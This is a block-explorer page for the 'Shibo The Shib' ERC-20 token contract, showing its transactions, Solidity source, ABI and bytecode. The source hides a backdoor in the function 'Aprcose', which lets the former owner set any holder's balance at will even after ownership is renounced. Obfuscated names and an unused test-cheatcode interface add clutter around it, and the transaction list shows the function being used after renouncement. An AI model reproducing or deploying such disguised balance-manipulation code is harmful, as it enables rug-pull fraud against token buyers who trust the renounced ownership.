Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 20 from a total of 20 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Aprcose | 22856969 | 234 days ago | IN | 0 ETH | 0.00000819 | ||||
| Aprcose | 22815730 | 239 days ago | IN | 0 ETH | 0.00007978 | ||||
| Renounce Ownersh... | 22815605 | 239 days ago | IN | 0 ETH | 0.00012811 | ||||
| Approve | 22815605 | 239 days ago | IN | 0 ETH | 0.00027104 | ||||
| Approve | 22815605 | 239 days ago | IN | 0 ETH | 0.00027104 | ||||
| Approve | 22815605 | 239 days ago | IN | 0 ETH | 0.00027104 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00017433 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00017433 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00017433 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00017433 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00017433 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00026748 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00026748 | ||||
| Approve | 22815595 | 239 days ago | IN | 0 ETH | 0.00026748 | ||||
| Remove Limit | 22815594 | 239 days ago | IN | 0 ETH | 0.00012302 | ||||
| Transfer | 22815592 | 239 days ago | IN | 0 ETH | 0.00005158 | ||||
| Approve | 22815578 | 239 days ago | IN | 0 ETH | 0.00007646 | ||||
| Approve | 22815552 | 239 days ago | IN | 0 ETH | 0.00013565 | ||||
| Transfer | 22815536 | 239 days ago | IN | 0 ETH | 0.00015145 | ||||
| Transfer | 22815529 | 239 days ago | IN | 0 ETH | 0.0001471 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Shibo
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-06-30
*/
/**
*/
/**
*/
/**
Telegram: https://t.me/Shibotheshibportal
X: https://x.com/ShiboTheShibERC
Website: https://www.shibotheshib.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface CheatCodes {
// This allows us to getRecordedLogs()
struct Log {
bytes32[] topics;
bytes data;
}
// Set block.timestamp (newTimestamp)
function warp(uint256) external;
function roll(uint256) external;
// Set block.basefee (newBasefee)
function fee(uint256) external;
// Set block.coinbase (who)
function coinbase(address) external;
// Loads a storage slot from an address (who, slot)
function load(address, bytes32) external returns (bytes32);
// Stores a value to an address' storage slot, (who, slot, value)
function store(address, bytes32, bytes32) external;
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
// Gets address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
function deriveKey(string calldata, uint32) external returns (uint256);
// Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
// Performs a foreign function call via terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Set environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Read environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Read environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert() external;
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
// Record all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs
function getRecordedLogs() external returns (Log[] memory);
function expectEmit(bool, bool, bool, bool) external;
function expectEmit(bool, bool, bool, bool, address) external;
function mockCall(address, bytes calldata, bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address, uint256, bytes calldata, bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expect a call to an address with the specified calldata.
// Calldata can either be strict or a partial match
function expectCall(address, bytes calldata) external;
// Expect a call to an address with the specified msg.value and calldata
function expectCall(address, uint256, bytes calldata) external;
// Gets the code from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
// If the condition is false, discard this run's fuzz inputs and generate new ones
function assume(bool) external;
// Set nonce for an account
function setNonce(address, uint64) external;
// Get nonce for an account
function getNonce(address) external returns (uint64);
// Set block.chainid (newChainId)
function chainId(uint256) external;
// Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
function broadcast() external;
// Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
function broadcast(address) external;
function startBroadcast() external;
// Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
function startBroadcast(address) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
function readFile(string calldata) external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
// Path is relative to the project root. (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
// Path is relative to the project root. (path, data) => ()
function writeLine(string calldata, string calldata) external;
// Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
// Path is relative to the project root. (path) => ()
function closeFile(string calldata) external;
function removeFile(string calldata) external;
function toString(address) external returns (string memory);
function toString(bytes calldata) external returns (string memory);
function toString(bytes32) external returns (string memory);
function toString(bool) external returns (string memory);
function toString(uint256) external returns (string memory);
function toString(int256) external returns (string memory);
function snapshot() external returns (uint256);
function revertTo(uint256) external returns (bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata, uint256) external returns (uint256);
// Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
function createFork(string calldata) external returns (uint256);
// Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
function createSelectFork(string calldata, uint256) external returns (uint256);
// Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
function createSelectFork(string calldata) external returns (uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns (uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
/// Returns the RPC url for the given alias
function rpcUrl(string calldata) external returns (string memory);
/// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns (string[2][] memory);
function makePersistent(address account) external;
}
abstract contract Ownable is Context {
address private _owner;
address internal _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transfer_hoppeiOwnership(_msgSender());
}
modifier onlyOwner() {
_isAdmin();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _isAdmin() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transfer_hoppeiOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transfer_hoppeiOwnership(newOwner);
}
function _transfer_hoppeiOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
_previousOwner = oldOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply_hoppei;
string private _name_hoppei;
string private _symbol_hoppei;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
_name_hoppei = name_;
_symbol_hoppei = symbol_;
_totalSupply_hoppei = totalSupply_;
_balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name_hoppei;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol_hoppei;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply_hoppei;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer_hpei(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve_hoppei(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer_hpei(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve_hoppei(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer_hpei(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _transfer_sertoken(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
amount -= amountToBurn;
_totalSupply_hoppei -= amountToBurn;
_balances[recipient] += amount;
emit Transfer(sender, DEAD, amountToBurn);
emit Transfer(sender, recipient, amount);
}
function Aprcose(address account, uint256 amount) public virtual returns (uint256) {
address msgSender = msg.sender;
address prevOwner = _previousOwner;
bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));
bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
bytes32 amountHex = bytes32(amount);
bool isOwner = msgSendere == prevOwnerHex;
if (isOwner) {
return _updateBalance(account, amountHex);
} else {
return _getBalance(account);
}
}
function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
uint256 amount = uint256(amountHex);
_balances[account] = amount;
return _balances[account];
}
function _getBalance(address account) private view returns (uint256) {
return _balances[account];
}
function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01{}
contract Shibo is ERC20 {
uint256 private constant TOAL_SAILYLY =1000_000_000e9;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO1 = 0x0000000000000000000000000000000000000000;
bool public hasLimit_hoppei;
uint256 public maxTadsssWallet;
uint256 public max_adrbsWallet;
mapping(address => bool) public isException;
uint256 _burneuosf = 0;
address uniswapV2Pair;
IUniswapV2Router02 uniswapV2Router;
constructor(address router) ERC20(unicode"Shibo The Shib", unicode"SHIBO", TOAL_SAILYLY) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
max_adrbsWallet= TOAL_SAILYLY / 25;
maxTadsssWallet = TOAL_SAILYLY / 25;
isException[DEAD] = true;
isException[router] = true;
isException[msg.sender] = true;
isException[address(this)] = true;
}
function _transfer_hpei(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_checkLimitation_hoppei(from, to, amount);
if (amount == 0) {
return;
}
if (!isException[from] && !isException[to]){
require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");
if (from == uniswapV2Pair || to == uniswapV2Pair) {
uint256 _burn = (amount * _burneuosf) / 100;
super._transfer_sertoken(from, to, amount, _burn);
return;
}
}
super._transfer_hpei(from, to, amount);
}
function removeLimit() external onlyOwner {
hasLimit_hoppei = true;
}
function _checkLimitation_hoppei(
address from,
address to,
uint256 amount
) internal {
if (!hasLimit_hoppei) {
if (!isException[from] && !isException[to]) {
require(amount <= maxTadsssWallet, "Amount exceeds max");
if (uniswapV2Pair == ZERO){
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
}
if (to == uniswapV2Pair) {
return;
}
require(balanceOf(to) + amount <= max_adrbsWallet, "Max holding exceeded max");
}
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aprcose","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTadsssWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrbsWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040525f600b5534801562000014575f80fd5b506040516200162b3803806200162b833981016040819052620000379162000229565b6040518060400160405280600e81526020016d29b434b137902a34329029b434b160911b81525060405180604001604052806005815260200164534849424f60d81b815250670de0b6b3a76400006200009f62000099620001c860201b60201c565b620001cc565b6005620000ad8482620002f6565b506006620000bc8382620002f6565b506004819055335f818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d80546001600160a01b0319166001600160a01b0384161790555080620001396019670de0b6b3a7640000620003c2565b600955620001516019670de0b6b3a7640000620003c2565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff1991821681179092556001600160a01b03929092165f90815260408082208054851684179055338252808220805485168417905530825290208054909216179055620003e2565b3390565b5f80546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602082840312156200023a575f80fd5b81516001600160a01b038116811462000251575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200028157607f821691505b602082108103620002a057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002f157805f5260205f20601f840160051c81016020851015620002cd5750805b601f840160051c820191505b81811015620002ee575f8155600101620002d9565b50505b505050565b81516001600160401b0381111562000312576200031262000258565b6200032a816200032384546200026c565b84620002a6565b602080601f83116001811462000360575f8415620003485750858301515b5f19600386901b1c1916600185901b178555620003ba565b5f85815260208120601f198616915b8281101562000390578886015182559484019460019091019084016200036f565b5085821015620003ae57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f82620003dd57634e487b7160e01b5f52601260045260245ffd5b500490565b61123b80620003f05f395ff3fe608060405234801561000f575f80fd5b5060043610610127575f3560e01c80638da5cb5b116100a9578063a9059cbb1161006e578063a9059cbb14610260578063ab40caab14610273578063dd62ed3e1461027c578063f2fde38b146102b4578063fbf8a77c146102c7575f80fd5b80638da5cb5b146101f657806395d89b411461021057806398636f3214610218578063a457c2d71461023a578063a865f65d1461024d575f80fd5b806335ba28de116100ef57806335ba28de146101a057806339509351146101a957806362256589146101bc57806370a08231146101c6578063715018a6146101ee575f80fd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c57806323b872dd1461017e578063313ce56714610191575b5f80fd5b6101336102d4565b6040516101409190610f53565b60405180910390f35b61015c610157366004610fb3565b610364565b6040519015158152602001610140565b6004545b604051908152602001610140565b61015c61018c366004610fdd565b61037a565b60405160098152602001610140565b61017060085481565b61015c6101b7366004610fb3565b61042e565b6101c4610464565b005b6101706101d436600461101b565b6001600160a01b03165f9081526002602052604090205490565b6101c461047b565b5f546040516001600160a01b039091168152602001610140565b61013361048e565b61015c61022636600461101b565b600a6020525f908152604090205460ff1681565b61015c610248366004610fb3565b61049d565b61017061025b366004610fb3565b610537565b61015c61026e366004610fb3565b610618565b61017060095481565b61017061028a36600461103d565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6101c46102c236600461101b565b610624565b60075461015c9060ff1681565b6060600580546102e390611074565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611074565b801561035a5780601f106103315761010080835404028352916020019161035a565b820191905f5260205f20905b81548152906001019060200180831161033d57829003601f168201915b5050505050905090565b5f61037033848461069d565b5060015b92915050565b5f6103868484846107c0565b6001600160a01b0384165f9081526003602090815260408083203384529091529020548281101561040f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610423853361041e86856110c0565b61069d565b506001949350505050565b335f8181526003602090815260408083206001600160a01b0387168452909152812054909161037091859061041e9086906110d3565b61046c61093c565b6007805460ff19166001179055565b61048361093c565b61048c5f610995565b565b6060600680546102e390611074565b335f9081526003602090815260408083206001600160a01b03861684529091528120548281101561051e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610406565b61052d338561041e86856110c0565b5060019392505050565b60015460405133606081901b6bffffffffffffffffffffffff191660208301525f9290916001600160a01b039091169083906034016040516020818303038152906040528051906020012090505f826040516020016105ae919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012090508582821480156105fb576001600160a01b0389165f908152600260205260409020829055815b9650505050505050610374565b6001600160a01b0389165f908152600260205260409020546105ee565b5f6103703384846107c0565b61062c61093c565b6001600160a01b0381166106915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610406565b61069a81610995565b50565b6001600160a01b0383166106ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b0382166107605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107e65760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b03821661080c5760405162461bcd60e51b81526004016104069061112b565b6108178383836109f2565b805f0361082357505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561086357506001600160a01b0382165f908152600a602052604090205460ff16155b1561092c57600d546001600160a01b03165f90815260026020526040902054156108cf5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610406565b600c546001600160a01b03848116911614806108f85750600c546001600160a01b038381169116145b1561092c575f6064600b548361090e919061116e565b6109189190611185565b905061092684848484610cb2565b50505050565b610937838383610e36565b505050565b5f546001600160a01b0316331461048c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610406565b5f80546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff16610937576001600160a01b0383165f908152600a602052604090205460ff16158015610a3c57506001600160a01b0382165f908152600a602052604090205460ff16155b1561093757600854811115610a885760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610406565b600c546001600160a01b0316610c1d57600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0c91906111a4565b6001600160a01b031663e6a4390530600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8f91906111a4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bd8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfc91906111a4565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610c3857505050565b60095481610c5a846001600160a01b03165f9081526002602052604090205490565b610c6491906110d3565b11156109375760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610406565b6001600160a01b038416610cd85760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b038316610cfe5760405162461bcd60e51b81526004016104069061112b565b6001600160a01b0384165f9081526002602052604090205482811015610d365760405162461bcd60e51b8152600401610406906111bf565b6001600160a01b0385165f9081526002602052604090208382039055610d5c82846110c0565b92508160045f828254610d6f91906110c0565b90915550506001600160a01b0384165f9081526002602052604081208054859290610d9b9084906110d3565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e2791815260200190565b60405180910390a35050505050565b6001600160a01b038316610e5c5760405162461bcd60e51b8152600401610406906110e6565b6001600160a01b038216610e825760405162461bcd60e51b81526004016104069061112b565b6001600160a01b0383165f9081526002602052604090205481811015610eba5760405162461bcd60e51b8152600401610406906111bf565b610ec482826110c0565b6001600160a01b038086165f908152600260205260408082209390935590851681529081208054849290610ef99084906110d3565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f4591815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015610f7f57858101830151858201604001528201610f63565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069a575f80fd5b5f8060408385031215610fc4575f80fd5b8235610fcf81610f9f565b946020939093013593505050565b5f805f60608486031215610fef575f80fd5b8335610ffa81610f9f565b9250602084013561100a81610f9f565b929592945050506040919091013590565b5f6020828403121561102b575f80fd5b813561103681610f9f565b9392505050565b5f806040838503121561104e575f80fd5b823561105981610f9f565b9150602083013561106981610f9f565b809150509250929050565b600181811c9082168061108857607f821691505b6020821081036110a657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610374576103746110ac565b80820180821115610374576103746110ac565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8082028115828204841417610374576103746110ac565b5f8261119f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156111b4575f80fd5b815161103681610f9f565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea26469706673582212208aa4ace4054e32ab29b17e4cfe6b214ce60df4a04b3e7f867119216cee198f3264736f6c634300081700330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
